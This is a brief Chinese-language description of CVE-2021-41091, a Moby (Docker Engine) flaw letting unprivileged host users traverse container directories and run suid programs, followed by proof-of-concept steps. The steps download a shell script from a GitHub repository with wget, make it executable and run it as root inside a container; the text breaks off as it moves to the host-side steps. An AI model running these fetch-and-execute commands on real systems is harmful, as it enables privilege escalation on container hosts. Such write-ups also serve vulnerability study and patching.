CVE-2021-41091

CVE-2021-41091 Moby（Docker Engine）中的一个漏洞允许无权限用户在宿主机上遍历目录并直接执行 Docker 中的程序。如果 Docker 中存在 suid 程序，用户可在宿主机上以 suid 身份执行它。 PoC 在容器终端中下载 docker.sh 文件，然后以 root 用户身份执行： root@kitploit: wget https://raw.githubusercontent.com/jrbH4CK/CVE-2021-41091/main/docker.sh chmod +x docker.sh ./docker.sh 现在在宿主机中下载...